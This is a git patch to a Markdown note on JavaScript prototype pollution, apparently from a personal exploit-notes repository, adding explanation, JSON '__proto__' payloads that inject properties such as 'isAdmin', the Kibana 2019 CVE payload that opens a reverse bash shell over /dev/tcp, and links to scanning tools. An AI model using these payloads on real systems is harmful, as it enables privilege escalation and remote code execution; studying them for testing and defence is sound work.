From 04c0dcefa40995f36825de51b890b82db5696738 Mon Sep 17 00:00:00 2001 From: whx Date: Wed, 22 May 2024 07:46:52 +0000 Subject: [PATCH] added more details --- Exploits/Web/Prototype Pollution JS.md | 41 +++++++++++++++++++++++--- 1 file changed, 37 insertions(+), 4 deletions(-) diff --git a/Exploits/Web/Prototype Pollution JS.md b/Exploits/Web/Prototype Pollution JS.md index d2e9f07..0c9760d 100644 --- a/Exploits/Web/Prototype Pollution JS.md +++ b/Exploits/Web/Prototype Pollution JS.md @@ -1,12 +1,25 @@ # Prototype Pollution -Overwrite built in properties, like constructor, toString of an object. +Overwrite built in properties, like constructor, toString of an inherited +prototype object. -Any other instance inherits properties from `Object.__proto__`. toString() is -inherited by all objects. +`__proto__` is a reference to a prototype object. + +Any other instance inherits properties from `Object.__proto__`, e.g. +`Object.prototype.toString()` is inherited by all objects. That means if the `toString()` functions is overwritten it is changed in all other objects as well. +```javascript +{"__proto__": {"toString": "Horton hears a __proto__"}} +``` + +An entrypoint for prototype pollution may be a merge of objects or a set of +path/properties of an objects + +Prototype pollution works best, when there is no input sanitization or validation. +Often, a combination with other exploits is needed, e.g. XSS to get a notable effect. + ## Usage Access to prototype can be gained inside an object, as an example @@ -28,10 +41,23 @@ Create properties inside `__proto__`. obj.__proto__.isAdmin = true ``` +If objects are merged with input sanitization use `"__proto__"` as the key and +set the payload in the value. An example follows, an additional property is +added to an existing object. + +```javascript +{"__proto__": {"isAdmin": true}} +``` + +All object which inherit the prototype get the new property added. + +## Example CVEs + ### Kibana CVE 2019 A concrete example is a Kibana prototype pollution from CVE from 2019. Write -reverse bash into variables so they get +a reverse shell into variables so it gets executed. + Therefore Use the following node functions * `require` @@ -41,3 +67,10 @@ Therefore Use the following node functions .es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -c \'bash -i >& /dev/tcp//4444 0>&1\'");//') .props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ') ``` + +## Tools + +* [dwisiswant0's Prototype Pollution Fuzzer](https://github.com/dwisiswant0/ppfuzz) +* [KathanP19's protoscan](https://github.com/KathanP19/protoscan) +* [BlackFan's client-side-prototype-pollution](https://github.com/BlackFan/client-side-prototype-pollution) +* [ajinabraham's nodejsscan](https://github.com/ajinabraham/nodejsscan)